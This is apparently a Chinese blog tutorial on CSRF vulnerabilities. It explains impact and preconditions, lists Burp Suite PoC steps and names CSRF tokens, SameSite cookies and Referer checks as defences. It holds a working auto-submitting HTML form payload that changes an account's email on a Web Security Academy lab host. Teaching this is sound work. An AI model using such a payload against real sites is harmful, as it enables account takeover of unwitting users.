CSRF漏洞挖掘

最新推荐文章于 2023-11-23 14:52:41 发布

order by

最新推荐文章于 2023-11-23 14:52:41 发布

阅读量687

点赞数

分类专栏：漏洞挖掘文章标签： csrf 前端

本文链接：https://blog.csdn.net/qq_22132931/article/details/129032353

版权

漏洞挖掘专栏收录该内容

2 篇文章 0 订阅

订阅专栏

CSRF 攻击的影响是什么？
在成功的 CSRF 攻击中，攻击者会导致受害用户无意中执行某个操作。例如，这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转帐。根据操作的性质，攻击者可能能够完全控制用户的帐户。如果受感染的用户在应用程序中具有特权角色，则攻击者可能能够完全控制应用程序的所有数据和功能。

CSRF 是如何工作的？
要使 CSRF 攻击成为可能，必须具备三个关键条件：

一个相关的动作。应用程序中存在攻击者有理由诱导的操作。这可能是特权操作（例如修改其他用户的权限）或针对用户特定数据的任何操作（例如更改用户自己的密码）。
基于 cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求，应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制来跟踪会话或验证用户请求。
没有不可预测的请求参数。执行操作的请求不包含任何参数，其值攻击者无法确定或猜测。例如，当导致用户更改密码时，如果攻击者需要知道现有密码的值，则该函数不易受到攻击。
例如，假设一个应用程序包含一个允许用户更改其帐户电子邮件地址的功能。当用户执行此操作时，他们会发出如下 HTTP 请求：

POST /email/change HTTP/1.1
Host: baidu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=test@.qq.com
这样就满足了CSRF需要的条件：

POST /email/change HTTP/1.1
Host: baidu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=test@qq.com

更改用户帐户上的电子邮件地址的操作是攻击者感兴趣的。执行此操作后，攻击者通常能够触发密码重置并完全控制用户帐户。
应用程序使用会话 cookie 来识别哪个用户发出了请求。没有其他令牌或机制来跟踪用户会话。
攻击者可以轻松确定执行操作所需的请求参数的值。

1.抓包
在这里插入图片描述 2.删除一些不影响请求头
3.右键选项
4.修改poc
5.发给目标点击

payload

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a4600a303a7a6e4c07a9aca005f0031.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test4&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
<script>
        document.forms[0].submit();
</script>
  </body>
</html>

针对 CSRF 的常见防御措施
如今，成功发现和利用 CSRF 漏洞通常涉及绕过目标网站、受害者浏览器或两者部署的反 CSRF 措施。您将遇到的最常见的防御措施如下：

CSRF 令牌- CSRF 令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。当尝试执行敏感操作（例如提交表单）时，客户端必须在请求中包含正确的 CSRF 令牌。这使得攻击者很难代表受害者构造有效请求。

SameSite cookie - SameSite 是一种浏览器安全机制，用于确定网站的 cookie 何时包含在来自其他网站的请求中。由于执行敏感操作的请求通常需要经过身份验证的会话 cookie，因此适当的 SameSite 限制可能会阻止攻击者跨站点触发这些操作。自 2021 年起，ChromeLax默认强制执行 SameSite 限制。由于这是提议的标准，我们希望其他主要浏览器将来也能采用这种行为。

基于 Referer 的验证——一些应用程序使用 HTTP Referer 标头来尝试抵御 CSRF 攻击，通常是通过验证请求是否来自应用程序自己的域。这通常不如 CSRF 令牌验证有效。